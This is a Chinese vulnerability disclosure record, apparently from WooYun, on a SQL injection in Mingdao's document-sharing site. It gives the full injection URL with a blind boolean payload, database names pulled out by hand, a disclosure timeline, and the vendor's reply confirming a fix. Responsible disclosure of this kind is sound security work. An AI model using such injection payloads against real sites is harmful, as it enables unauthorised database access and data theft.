2014-05-04:细节已通知厂商并且等待厂商处理中
2014-05-04:厂商已经确认,细节仅向厂商公开
2014-05-14:细节向核心白帽子及相关领域专家公开
2014-05-24:细节向普通白帽子公开
2014-06-03:细节向实习白帽子公开
2014-06-18:细节向公众公开
看了厂商之前的几个漏洞,rank真心不敢恭维,咬咬牙,还是交了吧
详细说明:注入点:
http://docshare.mingdao.com/DocView.aspx?ShareID=90afdfd4-4821-43c7-a351-70302bb9c434' and SUBSTRING((SELECT DB_NAME(10)),12,1)>CHAR(1) and '1'='1
sqlmap跑不出数据,手工跑了几个数据库名
DB_NAMES(10)
mdstructure
DB_NAMES(11)
mdtask
DB_NAMES(12)
docsharedb
@@SPID=59
mssql手注第一次遇到,手注太艰难了,没心思继续跑数据了
修复方案:
看了厂商之前的几个漏洞,rank真心不敢恭维
@kobin97 大神的这个SQL漏洞2rank WooYun: 上海万企明道软件某分站SQL注入可操作别人文档
1. 过滤
2. 好好对待白帽子,看看多久没白帽子给你挖洞了,等被黑产脱裤就哭吧
危害等级:中
漏洞Rank:10
确认时间:2014-05-04 19:22
厂商回复:确实存在该漏洞,已经修补过了,非常感谢你对明道安全的关注!
最新状态:暂无
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;